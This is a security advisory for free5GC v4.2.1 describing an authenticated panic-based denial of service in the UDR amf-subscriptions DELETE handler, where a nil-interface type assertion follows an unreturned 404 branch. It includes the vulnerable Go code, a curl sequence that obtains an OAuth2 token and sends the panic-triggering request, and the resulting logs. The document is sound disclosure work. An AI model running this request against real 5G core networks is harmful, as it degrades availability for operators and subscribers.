GHSA-jqfc-gwj5-3w63

### Summary free5GC's UDR `nudr-dr` `DELETE /subscription-data/{ueId}/{servingPlmnId}/ee-subscriptions/{subsId}/amf-subscriptions` handler panics on a single authenticated request against a fresh UDR instance when the supplied `ueId` does not exist in `UESubsCollection`. The processor checks `value, ok := udrSelf.UESubsCollection.Load(ueId)` and sets a `404 USER_NOT_FOUND` problem-details on the miss path, but execution continues and immediately runs `value.(*udr_context.UESubsData)` -- a Go type assertion on a nil interface, which panics with `interface conversion: interface {} is nil, not *context.UESubsData`. Gin recovery converts the panic into `HTTP 500`, but the endpoint remains repeatedly panicable.

This is the no-precondition sibling of free5gc/free5gc#919: same handler, same bug pattern (set `pd`, do not return, then dereference), but the panic site is the nil-interface type assertion at line 61 instead of the nil-pointer deref at line 69. No earlier EE-subscription create is required.

This endpoint requires a valid `nudr-dr` OAuth2 access token (PR:L, NOT PR:N), so this is scored as an authenticated panic-DoS, not as an unauth-bypass finding.

### Details Validated against the UDR container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/udr:v4.2.1` - Runtime UDR commit: `754d23b0` - Docker validation date: 2026-03-22 - UDR endpoint: `http://10.100.200.11:8000`

Vulnerable handler (the `ok` miss path sets `pd` but does not return; the next line type-asserts the nil interface): ```go subsId := c.Params.ByName("subsId") s.Processor().RemoveAmfSubscriptionsInfoProcedure(c, subsId, ueId) ``` In the processor: ```go value, ok := udrSelf.UESubsCollection.Load(ueId) if !ok { pd = util.ProblemDetailsNotFound("USER_NOT_FOUND") }

UESubsData := value.(*udr_context.UESubsData) // panics: nil interface ``` When `ueId` is absent from `UESubsCollection`, `value` is the nil `interface{}` returned by `sync.Map.Load`, and `value.(*udr_context.UESubsData)` panics with: ``` panic: interface conversion: interface {} is nil, not *context.UESubsData ```

Code evidence (paths in `free5gc/udr`): - Route exposure + handler dispatch: - `NFs/udr/internal/sbi/api_datarepository.go:2161` - `NFs/udr/internal/sbi/api_datarepository.go:2170` - `NFs/udr/internal/sbi/api_datarepository.go:2172` - Panic root cause (nil interface type assertion): - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:53` - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:56` - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:61`

### PoC Reproduced end-to-end against the running UDR at `http://10.100.200.11:8000` -- single authenticated request, no preconditions.

1. Restart UDR (clean state -- proves no precondition is needed): ``` docker restart udr ```

2. Obtain a valid `nudr-dr` token from NRF: ``` curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=UDR&scope=nudr-dr' ```

3. Trigger the panic with one DELETE for a nonexistent `ueId=x`: ``` curl -i -sS -X DELETE \ 'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions' \ -H 'Authorization: Bearer <valid_nudr_dr_jwt>' ``` ``` HTTP/1.1 500 Internal Server Error Content-Length: 0 ```

4. UDR container logs (`docker logs udr`) confirm the nil-interface conversion panic at `event_amf_subscription_info_document.go:61` inside `RemoveAmfSubscriptionsInfoProcedure`: ``` [ERRO][UDR][GIN] panic: interface conversion: interface {} is nil, not *context.UESubsData github.com/free5gc/udr/internal/sbi/processor.(*Processor).RemoveAmfSubscriptionsInfoProcedure .../event_amf_subscription_info_document.go:61 github.com/free5gc/udr/internal/sbi.(*Server).HandleRemoveAmfSubscriptionsInfo .../api_datarepository.go:2172 [INFO][UDR][GIN] | 500 | DELETE | /nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions | ```

### Impact Incorrect type conversion on a nil interface (CWE-704) inside an authenticated UDR data-repository handler, caused by improper handling of the missing-ueId branch (CWE-754): the handler sets a `404` problem-details value but does not return, then runs a Go type assertion on the nil interface returned by `sync.Map.Load`.

This is NOT framed as an auth-bypass finding: the endpoint requires a valid `nudr-dr` OAuth2 access token. A network attacker who already holds (or can obtain) a valid token can: - Trigger a reliable, single-request panic on the `amf-subscriptions` delete route against a fresh UDR (no preparatory state needed -- this is strictly easier than free5gc/free5gc#919). - Repeat the trigger to sustain a per-request panic-DoS on UDR's data-repository surface, with each panic costing more CPU + log writes than the intended `404 USER_NOT_FOUND` response would have.

No Confidentiality impact (the response is `500` with empty body). No Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation (Gin recovers; the UDR process keeps running).

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/920 Upstream fix: https://github.com/free5gc/udr/pull/60